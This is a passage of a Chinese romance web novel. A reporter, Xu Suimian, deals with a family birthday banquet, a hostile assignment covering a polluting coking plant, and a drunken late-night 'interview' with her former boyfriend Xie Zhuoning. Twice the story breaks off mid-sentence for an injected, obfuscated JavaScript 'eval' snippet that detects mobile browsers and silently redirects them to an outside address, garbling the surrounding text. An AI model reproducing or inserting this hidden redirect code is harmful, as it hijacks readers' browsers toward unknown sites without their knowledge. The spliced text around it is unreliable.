“……”霍然没辙,把茶杯搁在许岁眠手边,“行,那你歇会儿。卓哥被老爷子提溜去训话呢,一时半会儿出不来。” 许岁眠理也没理。说真的,这场面也忒尴尬了,杨知非都没眼再看下去。没两秒就起身,掸了掸衣角,“你们坐着,我过去给老爷子点个卯。” 何家瑞赶紧跟上:“捎上我!” 薛晓京屁股刚离沙发,就被许岁眠一把拽住:“你干嘛去?” “我……去趟洗手间?”薛晓京眼珠一转,“一起?” - - 洗手间里,薛晓京对着镜子补妆,抢着吐槽:“霍然是不是有病?他妈那脸都黑成锅底了,给他安排的相亲对象还在场呢,他倒好,还敢往你跟前凑!这不是成心给你招恨吗?” 许岁眠慢条斯理地洗着手,没吭声,只对着镜子仔细补了补口红。 “我可告诉你啊,千万别给他好脸!今儿表现就对了,尤其当着他妈面儿——”薛晓京话音一顿,凑近许岁眠,压低声音敲重点, “烫知识!以前圈子里有个传说,八成你也听过。一姑娘,协和的女中医,哈佛医学院回来的,盘儿靓条儿顺性格好,简直是二代圈里的女神,多少少爷为她疯魔。可惜啊,就是出身差了点,那些公子哥儿的妈没一个瞧得上她。跟其中一位少爷谈恋爱那会儿,被那位官太太婆婆往死里整。你猜最后怎么着?那位爷,愣是跟家里掰了,带着姑娘远走高飞,隐姓埋名双宿双栖了。够狗血吧?但我他妈觉得真够劲儿!够浪漫!” “中医?”许岁眠半天没反应,听完才出声,重点却歪了,“那她医术好吗?脉摸得准吗?” “好!听说现在定居云南了,怎么着,你去找她瞧瞧?”薛晓京也乐了。 俩人这重点歪得没边儿。 许岁眠抽出纸巾擦干手,利落地扔进纸篓,对着镜子里的自己,眼神异常坚定:“不了。我这病,该找谁,我心里有数。” - - 回到大厅,已近开席,人比刚才又多了不少。 谢卓宁还在小厅里,隔着屏风,听老爷子有一搭没一搭地数落。说他玩车不着四六,嫌他玩命不把安全当回事。他就那么懒散地笑着,指间夹着烟,烟雾缭绕,把老爷子熏得直皱眉。 “岁岁是在《先锋报》做记者?”许岁眠正走神,身后忽地传来问话。她回头,见赵西西搀扶着谢家老太太不知何时已到了近前。许岁眠忙恭敬问好。 手里捏着的青瓷茶杯不自觉地紧了紧,“是,之前在民生口,最近刚调到体育组。” 几人移到一旁的紫檀木贵妃榻坐下。老太太拉着许岁眠的手,目光温和地打量她:“西西在总台,说起来你们也算同行,都是一块儿长大的孩子,工作上该帮衬就互相帮衬着点。” 话虽这么说,那眼神语气分明是抬举赵西西。 “那当然啦!”赵西西立刻亲昵地搂紧老太太胳膊,转向许岁眠,笑容无懈可击,“岁岁,以后工作上要是有难处,需要帮忙随时跟我说,千万别客气,咱们都是自己人。”她说话时一侧嘴角微妙地勾起。 许岁眠端坐着静静看她,脑子里蓦地蹦出个韩剧名——《继承者们》。赵西西此刻这副腔调表情,跟里面那个女二号简直一个模子刻出来的。 “好的。”许岁眠应得滴水不漏。 屏风后,杨知非给谢卓宁点烟,身形微侧,压低声音:“你说赵西西是不是有病?一见着许岁眠就跟斗鸡似的支棱毛儿,女人这嫉妒心,真他妈可怕。” 谢卓宁叼着烟,往那边瞥了一眼,没搭腔。 “你丫到底怎么想的?说放下了吧,单身这么多年,身边连个影儿都没有;说没放下,人家回来了,你又鼻子不是鼻子脸不是脸。真打算打一辈子光棍,跟那堆铁疙瘩过一辈子?”杨知非揶揄道。 谢卓宁吐了个烟圈,声音懒洋洋的:“能跟铁疙瘩过一辈子,也挺好。” 杨知非嗤笑一声,看他浑不在意,也懒得再管。目光在屏风外扫了一圈,状似无意地问:“哎,你那美艳小妈呢?怎么还没来?” “你丫找抽呢?”谢卓宁眼风一冷。 他沉默片刻,又吐了口烟,沉声道:“给你个任务。” “把那只斗鸡给我弄走。” 杨知非嘴角勾起一抹促狭的笑,叼着烟,懒洋洋应了声“成”,晃晃悠悠从屏风后绕出去。 “西西,有事找你,出来一下。”他扬声喊着,把一脸不情愿的赵西西给“请”了出去。 许岁眠耳边终于清静下来,刚低头松了口气,旁边又响起一个娇媚的声音: “哟,这可巧了。卓宁他们车队也常跟体育记者打交道,听说你们两个还是京北一中的老同学呢……”说话的正是杨知非口中那位“美艳小妈”。 她站在那,离屏风前后都不远,声音不大不小,刚好让两边都听得真切。 不知是反感这种刻意的攀扯,还是怎的,屏风后先是传来一声打火机响,紧接着,是谢卓宁带着明显不屑的京腔—— “校友罢了。” 许岁眠捏着小瓷盏的掌心一抖,不知怎么,心里那点不该有的委屈突然就漫了上来。 赌气似的跟了一句,声音不大却清晰:“我们不熟。” 两把冰碴子似的声音碰一块儿,空气都凝滞了几分。 说完许岁眠就低头抿茶,再不肯往屏风后看一眼。只是心里像被细针扎了一下,又酸又涩。 屏风后,谢卓宁若无其事地把玩着手机,头顶吊灯的光线将他侧脸劈成明暗两半,冷硬得像胡同口的石狮子。 就在这时,谢卓宁小妈的女儿,不到七岁的小妹,突然像个小炮弹似的冲到许岁眠跟前,拽着她的袖子脆生生喊道:“姐姐!我瞅你眼熟!好像在哪儿见过你?” 许岁眠一愣,周围人也面面相觑。许岁眠出国那年这小丫头刚出生,这些年她压根儿没回来过,小丫头能上哪儿“眼熟”去? “我想起来啦!”小丫头突然一跺脚,又转身哒哒哒跑到谢卓宁跟前,指着许岁眠大声说,“哥哥枕头底下藏着的那张照片,就是姐姐你!” 一屋子人顿时噤了声。 就在这时,谢卓宁终于抬了眼。 他屈指,不轻不重地弹了下小妹的羊角辫,喉结在立领下滚了滚,声音低沉平缓:“哦,那张啊。”慢悠悠锁上手机,“啪”一声撂在茶几上,抬眼看向许岁眠,“哥哥不知道是她。” 他顿了顿,嘴角随即扯出个没什么温度的弧度,“我是随手从校网下载下来——辟邪的。” 许岁眠:“……” 其他人倒没太当真,大多觉得小孩儿看漂亮姐姐都一个样儿,笑了笑,当个小插曲就过去了。 唯独一直坐在上首品茶的周宴清,一个没忍住,“噗嗤”差点把茶喷出来。 他今天本是来给老爷子贺寿,想着露个面就走,没成想谢卓宁也在,就坐下聊几句打发时间,倒真让他赶上场好戏。只觉得这帮大院子弟真逗,每次来都能看点儿新鲜乐子。 老爷子自然也听见了,本来对孙子就气不顺,这下更是火冒三丈,重重哼了一声:“胡说八道!”他随手把许岁眠招了过去。 许岁眠不敢怠慢,赶忙绕到屏风后,恭恭敬敬给老爷子请安问好。方才后面贵客太多,她没好意思往里挤。 “爷爷,给您道喜,祝您福寿安康。”许岁眠也一并给周围的叔伯们问了安,还有熟识的薛叔叔、何叔叔。甭管如今这些人还看不看得上她,礼数周全总没错。 她眉眼低垂,正要退到一旁,目光触及坐在老爷子下首的周宴清,赶忙又恭敬地补了一声:“周总。” 周宴清眉眼弯弯,随意抬了抬手算是招呼。 “过来,岁岁。”老爷子对许岁眠招手,让她近了说,声音也明显软和下来,透着慈爱,“回来多久了?” “有几个月了。” “怎么现在才来看爷爷?”老爷子是真喜欢许岁眠。小一辈儿的,不是太混不吝就是太不思进取,就数许岁眠沉稳好学,品性端正又刻苦,是个难得的好苗子。可惜,被家里那些糟心事给耽误了。 许岁眠想起以前还在大院住时,谢爷爷对自己的诸多照拂,鼻尖不由得一酸。“工作忙……”她声音也软了几分,带着愧疚。回来这么久,出于种种顾虑,也确实没主动登门。 “工作上有难处?有难处就跟爷爷说。” “没……”许岁眠说着,眼神却不由自主,带着点怨怼地偷偷瞟了谢卓宁那边一眼,小声嘟囔,“就是……有的人太大牌了,采访难度有点大……” 这声小小的抱怨,到底还是清晰地钻进了当事人的耳朵里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117870|179993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔壁传来一声清晰而短促的冷笑。 恰在此时,前厅开席了。 …… 老规矩,寿宴分席,大人小孩各坐各的。以周宴清这咖位,原本被恭恭敬敬请到主桌上座,跟长辈们平起平坐。谁知这位爷自己个儿愣是自己挤到了“小孩儿桌”,美其名曰“爱喝可乐”,也是够逗的。 小孩儿桌哪能真有什么雪碧可乐?这帮公子哥儿偷摸带来的饭店私藏,比大人桌喝得还凶还野。 什么82年的拉菲,90年的麦卡伦,哪瓶单拎出来都够普通人半年工资,也就仗着老爷子们跟不上潮流,不懂这些个洋玩意儿,哄骗说“没您那茅台贵”,不然一准儿得挨顿吹胡子瞪眼的训。 何家瑞跟薛晓京来回杠了三轮酒,俩人喝得东倒西歪。许岁眠看薛晓京那样子,蹙着眉,伸手就把她酒杯没收了。 何家瑞见状来了劲儿,红着眼珠子指着许岁眠:“她不喝?那正好!岁岁,回来这么些日子了,还没正经敬过哥哥一杯吧?”他舌头有点大,还特意拔高了声调,“甭管怎么说,你家出事后,哥哥也算帮衬过你们家,是不是?就冲这个,这杯酒,你该不该喝?” 许岁眠抿了抿唇,沉默片刻,刚要伸手去拿酒杯—— “不行!”薛晓京“蹭”地站起来,一把按住许岁眠的手,横眉怒目瞪着何家瑞,“岁岁不能喝!她……她身子骨不好,正喝中药呢……” “装!又装!又来这招是吧?”何家瑞可记得清楚。薛晓京上大学那会儿,他们不是没招呼过她,毕竟都在家门口念书。大一那会儿还聚过几次,后来再喊,她就总推说喝中药,死活不来。霍然当时还琢磨,这丫头八成是因为岁岁跟他们生分了,故意躲着。 没想到何家瑞耿耿于怀这么多年。 薛晓京眨眨眼,大着舌头,手搭在许岁眠肩上:“真…真的!你不知道,岁岁整天失眠,吃不下饭,大姨妈也不规律,还…还……” “别说了。”许岁眠低声制止她,轻轻拍开她的手,直接把那杯酒拿到自己面前。她对着何家瑞勉强扯了下嘴角,说:“没事,我喝点没事。”说着便抬手给自己倒了满满一杯,颇有几分女中豪杰的架势,冲何家瑞一举杯:“行吗?” “行!”何家瑞也是喝上头了,连旁边霍然铁青的脸色都没瞧见。他“啪”一拍桌子,对着许岁眠竖起大拇指:“够意思!岁岁!” 就在这时,一直没怎么动筷子的谢卓宁突然“啪”地撩了筷子,整桌人瞬间静住。“不吃了。”他撂下仨字,轻飘飘的,却像冰棱子砸在桌上。起身,头也不回地走了。 …… 许岁眠看着他离开的背影,慢慢地低下头,眼眶不受控制地泛红。霍然他们看在眼里,只觉得谢卓宁已经厌恶许岁眠到了连同桌吃饭都忍不了的地步。 其实呢?局内人看不清,一直在小孩桌瞧热闹的周宴清却门儿清——丫哪是厌恶?分明是听见人姑娘“身体不好”、“失眠”、“吃不下饭”,心疼了!绷不住了!破防了! 许岁眠握着那杯满得快溢出来的酒,抬起头就要灌。 霍然从后面一把攥住她的手腕,急道:“身子不好还逞什么能?丫何家瑞灌你你也喝?放下!”语气又急又气。 “没事。”许岁眠挣开他,声音带着点赌气的哑。那杯辛辣的液体到底还是顺着喉咙烧了下去。 …… 回去的路上,许岁眠一直靠在车后排,脸烧得通红,头晕目眩,只恍惚看着窗外流光溢彩的街灯。 她一言不发,耳边是杜蕙心喋喋不休的抱怨:“当初咱家好的时候,一个个上赶着巴结,现在?哼……” “是你自己非要去自取其辱。”许岁眠把头抵在冰凉的车窗上,晚风灌进来,吹乱她的长发,整个人透着股颓废的疲惫。嗓子还火辣辣的,心里却莫名有种宣泄后的异样舒畅。 杜蕙心被她噎得哼了一声,话锋一转,话里话外都是算计的精明:“不过也不算白跑一趟。陈太太你还记得吧?她老公转业到商委了,她自己开了个投资公司,这两年踩准了风口,赚得盆满钵满。她答应带我一起玩,我准备投这个数——”她冲许岁眠比划了个手势。 许岁眠眼皮都懒得抬,有气无力地回:“行,挺好。都赔光了咱家正好手拉手跳护城河,一了百了……” “呸呸呸!你个乌鸦嘴!诚心气死我是不是……”杜蕙心恼了,侧过身仔细瞅了瞅女儿,“哎,今儿怎么了?跟那几个发小聚得不痛快?我看你们不是处得挺好?” 许岁眠想着谢卓宁离席时那冰冷的背影,眼眶又酸又胀,攥紧了手心:“我就跟京京好。其他人……谁跟我好?” “霍然是不是在追你?”杜蕙心眼睛一亮,来了兴致。 许岁眠闭上眼装睡。杜蕙心却自顾自在她耳边念叨:“早些年我还当何家瑞对你有意思呢,你出国那几年,逢年过节还给我送东西。说实话,何家那小子我还真有点瞧不上……不过要是真成了我也认。今儿一看,好像霍然对你更上心?这么一想,你念中学那会儿,跑咱家跑得最勤快的可不就是霍然?霍家比何家有根基,前途也更……” 许岁眠心里简直气笑了。她真以为自己这闺女是镶金边的?还挑上了? “您怎么不猜猜少爷也喜欢我呢?”她睁开眼,带着点讽刺的意味,“他‘找’我找得也挺勤啊。”小时候,大院里的大人不管背地里怎么想,面上都恭恭敬敬喊谢卓宁一声“少爷”,这是规矩,也是谢老爷子身份的象征。熟一点的叫“阿宁”。小辈们要么跟着叫“少爷”,要么就叫“卓哥”。 只有许岁眠整天“喂喂”地喊,或者干脆直呼大名“谢卓宁”,从不把他当回事。 “少爷?”杜蕙心正拿着粉盒补妆,闻言像听到了天大的笑话,表情叫一个夸张,“不能!少爷能瞧上你?妈是承认你长得漂亮,但岁岁,咱得有自知之明。少爷跟你,那就是月亮跟泥坑的差距。少爷眼光多高啊?你个小土妞儿……”她啧啧摇头。 许岁眠嗤笑一声,懒得再理她。 10. 岁岁 那天从寿宴回来,许岁眠就发起了高烧。不知道是那杯白酒喝的,还是心火太旺,总之病恹恹躺了两天。 两天后烧也没退,可肥老炮儿只批了她这么两天假,再请就得惊动总编打报告。许岁眠嫌麻烦,强撑着爬起来,裹着件厚外套,顶着昏沉的脑袋就去上班了。 前两天她刚把采访稿交上去,是采访贺征的,算是勉强完成了采访车队的任务。结果人刚踏进办公室,气儿还没喘匀,就被肥老炮一个电话吼进了主编室。 “我让你采访的是谁?!”肥老炮把一沓稿纸摔在桌上,纸页哗啦散开一地,“是谢卓宁!谢卓宁!你看看你交的这是什么玩意儿?啊?你自己说!”他唾沫星子横飞,油光满面的胖脸上写满了不耐烦,“这么多天,天天跑外勤,就给我弄回来个这?你这还是国外名校的传媒高材生?就这水平?!” 许岁眠咬着下唇,默默弯腰,一页一页捡起来。肥老炮看着她卑微的样子,嘬了嘬牙花子,慢悠悠端起保温杯喝了一口,才慢条斯理地开口:“京郊新港焦化厂那个点,你去跟。这次要是再玩不成,这个季度的绩效奖金,我看你也甭惦记了。” 许岁眠抬起头:“啊?废水污染…也是体育组的选题?”声音因为发烧带着点沙哑。 肥老炮往前探了探他那肥胖的身躯,隔着桌子,皮笑肉不笑地压低声音:“把赛车运动和城市环保设施建设联系在一起,挖掘体育精神与社会责任的深层联系,懂了吗?” 懂。许岁眠怎么不懂?这不扯淡呢吗?说白了,这就是全社没人愿意接,最棘手最得罪人的硬骨头,故意丢给她啃的。她摸了摸手里被摔皱的稿子,没再争辩,转身走出了主编室。 - 一场秋雨过后,天很快凉了下来。 城郊赛车场里,风卷着山上飘来的枯叶满地打旋儿,连带着P房也没能幸免,地上、工作台上,哪儿哪儿都是零碎叶子。 于小帅正弯腰查点着老大交代的活儿,不知谁秃噜了一句:“哎,好像有日子没见着许记者了?” “啧,”有人接茬儿,手里的活儿没停,“老大那闭门羹,一天三顿不带重样儿地喂,小姑娘再扛造,心气儿也得磨没了。” 几个脑袋凑一块儿,啧啧有声,话里话外透着点惋惜:“还当这回有戏呢,指不定许记者真能把咱老大那座冰山撬开条缝儿。” 于小帅拎着扳手,蹭到门口,心不在焉地抹了把汗,眼神往空荡荡的大路上飘。正愣神儿,眼风里扫见个影子——嚯!一个裹着紧身裙、踩着恨天高、身材挺惹眼的姑娘,正探头探脑往里看。 操!眼花了? “来人了嘿小帅!”屋里人也瞧见了,都抻着脖子瞅,“是……是许记者吗?” “不像,”有人撇嘴,“许记者多仙儿,看着多清爽…没这么…额…劲儿劲儿的。” 于小帅吐了嘴里叼着的片落叶,撂下扳手,几步迎上去。 “劳驾,AR俱乐部是这儿吗?”那女的扇着手,睫毛膏被汗洇开一小片,红唇微张,喘得有点急,瞧着累得不轻。 于小帅眼皮子一撩,打量着她:“您哪位?” “哦哦您好!先锋报,辛悦。”辛悦赶紧挤出点职业假笑,腮帮子有点酸,“请问谢队在吗?” “先锋报?”于小帅眼皮子倏地一跳,“那您认识许岁眠许记者吗?” “认识啊!我同组的!她被调去别地儿采访了!”提起这茬辛悦就压不住火,肥老炮那龟孙屁都不放一个,就把岁眠发配去盯什么破化工厂!那地界儿,味儿冲得能顶一跟头。转头让她来这边顶雷……多少老鸟都折戟沉沙,她算哪根葱? “现在这活儿归我了。”辛悦心里骂翻了天,脸上还得绷着。 “哦……这么着。”于小帅眼神里那点不自觉的光“唰”地暗下去,“那……您先进来候会儿?我上去给老大递个话?不过您可甭抱太大念想,许记者没跟您提过?我们老大那谱儿……” “理解理解!”辛悦嘴上应着,心里更没底了。 二楼那间临窗的小休息室,是谢卓宁的清净地界儿。他窝在沙发里,空调吹着,长腿架在茶几上,有一下没一下地翻着赛车杂志,手里捏着对讲机。 外头大太阳底下,贺征和肖河正带着他那几个青训营刚签下来的好苗子吭哧吭哧扛轮胎练体能。其实车队拢共就他和贺征两个主力车手,肖河算是个预备。对讲机里时不时漏出几声不成调的哼唧。谢卓宁眼皮都没抬,指尖敲了下对讲机,声音懒洋洋的:“再加三圈。” 于小帅幸灾乐祸地冲门口那帮苦哈哈比划了个鬼脸,颠儿颠儿跑上来敲门。 “老大,您忙着?” 谢卓宁头都没抬,眼神却下意识地往窗外大门口的方向瞟了一眼,空荡荡的。 “说。”一个字,又冷又硬。 “有记者,采访您来了。” 谢卓宁把杂志往沙发上一扔,人已经坐直了,作势就要往外走,嘴里却冷冰冰:“告诉她,再来一百趟也一样,不……”那“不”字尾音还没落。 于小帅赶紧截住:“老大,不是许记者,是……是另一位,姓辛。” 谢卓宁动作一顿,眼神幽幽沉了下去,没什么温度地扫过于小帅的脸。 “那…要不,我把人请上来?”见老大没继续轰人,于小帅试探着问。 - 辛悦是真懵了。都说这位谢队长是块铜墙铁壁,油盐不进,各大同行同事们腿跑细了都摸不着门边儿,她头一回来,居然……就这么水灵灵地上来了? 更绝的是,传说中的谢队,真人竟比照片还帅得人神共愤!就是那气场,啧啧…冻得人直打哆嗦。 “谢队您好!我是先锋报的记者辛悦,非常荣幸能……” 谢卓宁眼皮一撩,带了那么几分揶揄地打断:“贵社这是换人玩接力了?我们赛道上换胎换人,你们记者也流行换着来采访?” 辛悦心尖一哆嗦,话赶话地往外倒:“不不!您误会了!是之前负责的许记者,她被临时调走了!您是不知道,她可太冤了,被派去盯城郊的一家焦化厂!就在垃圾山边上,排出的废水味儿冲得人眼泪直流!多闻一口都致癌!那厂老板还跟阎王似的,有回我们同事过去,被看门狗活活追了二里路!就因为她没采访到您……” 辛悦越说越替许岁眠憋屈,话里也带了点火,“我要是也空手回去,指定步她后尘!” 谢卓宁垂眸静了片刻,忽而起身走到飘窗旁,抄起瓶没开封的依云,拧开,仰头灌了一大口。握着瓶子的手,手指关节微微绷紧了点。 辛悦深吸一口气,望着他冷硬的背影,硬着头皮掏出笔记本:“那谢队,咱们现在……能开始了吗?” 谢卓宁像是没听见。他拿起对讲机,按了下通话键,声音没什么起伏:“贺征,上来一趟。” “来了老大!”对讲机滋啦一响。 没半分钟,贺征一身汗味儿地推门进来,抹了把额头的汗:“老大?” 谢卓宁朝辛悦这边偏了下头:“你陪辛记者聊聊。”说完,把对讲机往沙发上一扔,抓起桌上的车钥匙,头也没回地走了出去,门在他身后轻轻带上。 辛悦拿着笔记本,愣在原地,有点懵:“……啊?” - 许岁眠这趟折腾得够呛,地铁倒大巴,大巴又倒公交,末了儿还得挤上一辆破旧的三蹦子,一路颠簸在坑洼的搓板路上,都快颠到河北了,五脏六腑都快移了位,才终于杵在了那焦化厂气派的朱漆大门外。 结果不出意料,吃了个结结实实的闭门羹。 保安制服笔挺,眼神隔着门缝甩出一句:“没预约,不让进。” 这四九城,明面儿上光鲜亮丽,高楼林立,可这四周犄角旮旯的地界儿,多得是剥开金箔露出的泥底子。 好在秋凉了,没那股子蒸笼似的闷热。许岁眠盯着那两扇紧闭的红得刺眼的大门,鼻尖却敏锐地捕捉到一丝若有似无的怪味儿。夹杂着铁锈和一点腐败的气息。 她麻利地从包里翻出个一次性口罩戴上,边走边拨通了薛晓京的电话。 “喂?到了?怎么说?”薛晓京的声音从听筒里蹦出来。 “门都没让进。”许岁眠声音没什么起伏。 薛晓京那头“蹭”一下就炸了:“操!我就知道!这帮孙子……” “我没事儿。”许岁眠赶紧截住她的话头,语气里甚至带了点自嘲的平静,“其实我还挺愿意跑民生口儿的,而且干记者的,不就是跟这些‘铜墙铁壁''打交道么?平常心。我就是…脚有点硌的晃。” 她顿了顿,没往下说,干脆转向旁边看热闹的村民。 没成想,话还没问出口,就被不耐烦地轰开了:“走走走!又是你们这帮记者!吃饱了撑的没事找事是吧?”领头那个唾沫星子横飞,“人厂老板仁义!过年过节发米发油,年底还有分红!我们活得好好的,你们非嚷嚷有问题?厂子要是被你们闹黄了,拍拍屁股走了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117871|179993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们找谁拿钱去?喝西北风啊?” 许岁眠试图讲理:“可这是以牺牲健康为代价的…...” “健康?我们好着呢!”另一个村民梗着脖子嚷,“国家都派人来测过水了!白纸黑字盖章说合格!你们比国家还懂?啊?” 许岁眠口罩下的嘴角绷紧了。运动鞋踩在沟渠边的泥地上,望着眼前那泛着诡异荧光绿的污水沟。那股子味道直冲脑仁。明明已是秋天,成团的苍蝇依旧嗡嗡地盘旋不散。 她对着电话那头低声道:“村民我能理解,他们图个生计。可我不明白那些专家,这味儿都顶风臭三里了,报告上的‘合格''章子是怎么盖下去的?” 薛晓京在电话那头冷笑一声,到底带着高干子弟特有的洞悉和尖锐:“宝儿,你这还看不透?明摆着是当地衙门跟厂子穿一条裤子!指不定这破厂子就是哪个衙门暗地里的黑产!不然那‘合格”的戳儿能凭空变出来?听姐一句劝,这浑水你蹚不动,赶紧撤!你们主编他妈的就是个老阴逼!派你一小姑娘来顶这雷,安的什么心?!” 许岁眠沉默了几秒,喉头滚了滚,声音干涩:“行,我知道了。”没等那边再劝,直接掐了线。 她没立刻走。凭着之前暗访的线索,又摸黑去了村里几户有癌症病人的人家。问不出什么,家家户户都跟锯了嘴的葫芦似的,眼神躲闪,讳莫如深。唯有一家,特别扎心。 一个瘦得脱了形的小姑娘守着炕上气若游丝的父母,眼睛像两口枯井。许岁眠看着小姑娘攥着衣角的手,指甲缝里都是黑的,心里揪得慌,走时,悄悄把来时取好的,攒了两个月的工资,压在了那家破旧的搪瓷杯底下。 回程又是一路颠簸的三蹦子、沉默的大巴、拥挤的公交。车窗外掠过的灰蒙蒙的田野村落,和那些沉默而愁苦的面孔交织在一起。她其实心里明白,为了那点救命的分红钱,明知是饮鸩止渴,谁又敢轻易掀了这锅?这份清醒的无力感,沉甸甸地压在胸口,堵得她喘不过气。 不想回那个冷冰冰的出租屋。许岁眠一个人拐进了后海边上灯光迷离的酒吧。 威士忌辛辣的液体滑入喉咙,连日来的憋屈、回国后遭遇的种种,在谢卓宁那碰的钉子、还有眼前这明晃晃却动弹不得的污糟现实…所有压抑的情绪猛地冲破了闸门。 她伏在冰冷的吧台上,肩膀抑制不住地微微颤抖,眼尾洇开一抹红,滚烫的液体无声地砸落下来。 眼泪滴在手机屏幕上,糊了一片。许岁眠手指有点不听使唤,戳着屏幕,看着那条“谢卓宁已通过你的好友申请”的通知,愣了好半天,脑子有点转不过来。 头像是一辆线条嚣张的红色法拉利,嚣张得一如他本人。 她还在酒精和震惊带来的混沌里发懵,掌心的手机突然震动,屏幕亮起一个陌生又无比熟悉的号码。心脏像是被无形的手攥紧,她指尖微颤,划开了接听。 电话通了,两边都没出声。听筒里只有一点细微的电流声,还有彼此压抑着的呼吸。 国贸顶层的酒店公寓,谢卓宁只裹了件深灰色浴袍,带子松松系着。他站在落地窗前,看着楼下长安街的车灯汇成一条流动的光带。指间夹着烟,一点红芒在昏暗里闪烁。 谁也不说话。空气好像都凝住了。 在这漫长的,令人窒息的沉默中,许岁眠终于绷不住了,她呜咽了一声,一只手死死握住手机,另一只手徒劳地捂住眼睛,可眼泪根本捂不住,顺着指缝不断地往下淌。 酒劲儿混着说不清的委屈猛地冲上来,她嗓子发紧,带着哭腔冲着话筒喊,声音抖得厉害:“说话啊!你倒是说话啊谢卓宁!” 电话那头,谢卓宁眯了眯眼,把烟送到嘴边吸了一口,然后缓缓吐出烟雾。 低沉的声音透过听筒传过来,带着点哑:“给你个独家专访,”他顿了顿,语气听不出什么情绪,“现在敢过来吗?” 许岁眠被他这轻飘飘的语气彻底激怒,借着酒劲,一巴掌拍在旁边的桌子上,震得桌上的杯子都晃了一下,几乎是吼出来的:“敢!谁他妈不敢谁孙子!” 电话啪地被挂断,忙音响起来。几乎是同时,微信弹出一条新消息,简洁明了,就一个房间号。 许岁眠抓起手包就往外走,脚步有点虚浮。她甩甩头,努力想让自己清醒点,可眼前还是有点晃悠。推开门,夜风一吹,酒劲儿好像更上头了。 她站在路边,伸手拦了辆出租车,带着一身酒气和孤勇,对司机扬声:“师傅,去国贸! 11. 岁岁 谢卓宁陷在酒店套房的沙发里,指间火星闪烁,烟雾缭绕。腕表秒针无声滑过,空气凝滞。 “砰砰砰——!” 毫无章法的拍门声骤然炸响,急促又粗鲁。 他眉峰未动,只深吸一口,将烟叼在唇间,起身。门锁刚拧开一道缝,浓重的酒气便裹挟着一个人影撞了进来。 许岁眠像断了线的木偶,歪歪扭扭直扑进他怀里,冰凉的手指死死攥住他浴袍的前襟。 紧接着,“呕”的一声! 温热的秽物瞬间浸透了他丝质的浴袍前襟,黏腻一片。 “许岁眠,你他妈疯了!”谢卓宁眼神骤冷,反手扣住她纤细的脖颈,猛地将人搡开。 许岁眠却像彻底失了神智,迷蒙中捕捉到熟悉的声音,竟又不管不顾地踉跄扑回,踮着脚尖,滚烫的呼吸喷在他下颌。 “谢卓宁…你.你就是王八蛋…混蛋!”她含混不清地指控,每个字都带着酒气。 谢卓宁单手钳制着她摇晃的身体,另一手利落地扯下脏污的浴袍,嫌恶地甩进角落的纸篓。 他赤着上身,壁垒分明的胸膛在灯光下透着冷硬的光泽,垂眼睨她,声音像掺了冰:“灌了多少猫尿?” “没…我没灌!”许岁眠挣扎着,身体却不受控地再次软倒,手掌慌乱中按上他赤''裸的胸肌。 温软的触感让谢卓宁条件反射般肌肉紧绷,喉结滚动,眉峰锁得更深。 “你说…你是不是故意的?”她仰着头,泪水混着残妆狼狈滑落,攥成拳的手一下下捶打他的胸膛,“故意整我.羞辱我…一次又一次…不就因当初…当初我甩了你…你恨我..报复我是不是?!” 她哭喊着,浑身力气像被抽干,膝盖一软就要跪下去。电光火石间,谢卓宁俯身一把捞住她下滑的腰肢,打横抱起,几步将人扔进宽大的床褥里。 “唔.”许岁眠痛哼一声,闭着眼在柔软的床垫上无意识地扭动。本就凌乱的衬衫滑落肩头,露出一片细腻的肌肤和诱人的沟壑。 谢卓宁立在床边,居高临下,目光沉沉地锁在那片起伏上,眸色晦暗不明,指节捏得发白。他僵了几秒,最终还是伸手扯过被子一角,粗暴地盖住那片春光,转身欲走。 “不许走!”身后一声娇叱,带着醉醺醺的蛮横。许岁眠不知何时扑过来,双手双腿如藤蔓般死死缠住他的腰腿,“采访..还没采访呢!” “你醉了,改天。”他声音绷紧。 “我没醉!”许岁眠挣扎着爬起来,手指颤巍巍地指向他,“你又要反悔..是不是?谁他妈反悔谁孙子!”她“啪”地一拍床垫,又是一阵撕心裂肺的干呕。 谢卓宁眉心拧成疙瘩,一把将她按回床上。许岁眠却不老实,一个翻身,竟带着醉鬼不管不顾的蛮力,将猝不及防的他反压在了身下! 她恰好跨坐在他腰腹间,温软紧贴。谢卓宁身体瞬间绷直,一股灼热直冲小腹,声音哑得厉害:“下去!” “不下!”她骑在他身上,浑然不觉身下男人的变化,兀自攥起小拳头,装模作样地递到他唇边当话筒,“现在..开始采访!我问,你答!”眼神迷离,口齿也不清。 “怎么答?” “就这么答!” 许岁眠晃了晃脑袋,抛开了所有预设的问题,酒精烧灼着心底最深的角落:“这么多年…你…有没有想过我?” 谢卓宁薄唇抿成一条线,沉默像一块冰冷的铁。 “不说话是吧?”她带着哭腔,“那你.有没有恨过我?” “…有。”一个字,砸得又冷又沉。 许岁眠用力点头,泪珠滚落:“我就知道..我就知道!你一定..特别恨我..特别…”她泄愤般拍打他的胸膛。 “那你…是不是不想见我?” 沉默。 “说话!” “.不是。” “胡说!”许岁眠激动地反驳,身体摇摇欲坠。 谢卓宁终于伸手,铁钳般的大掌牢牢扣住她纤细的腰,稳住了那摇摇欲坠的身体。他抬眸,目光深不见底,一字一句问:“为什么回来?” 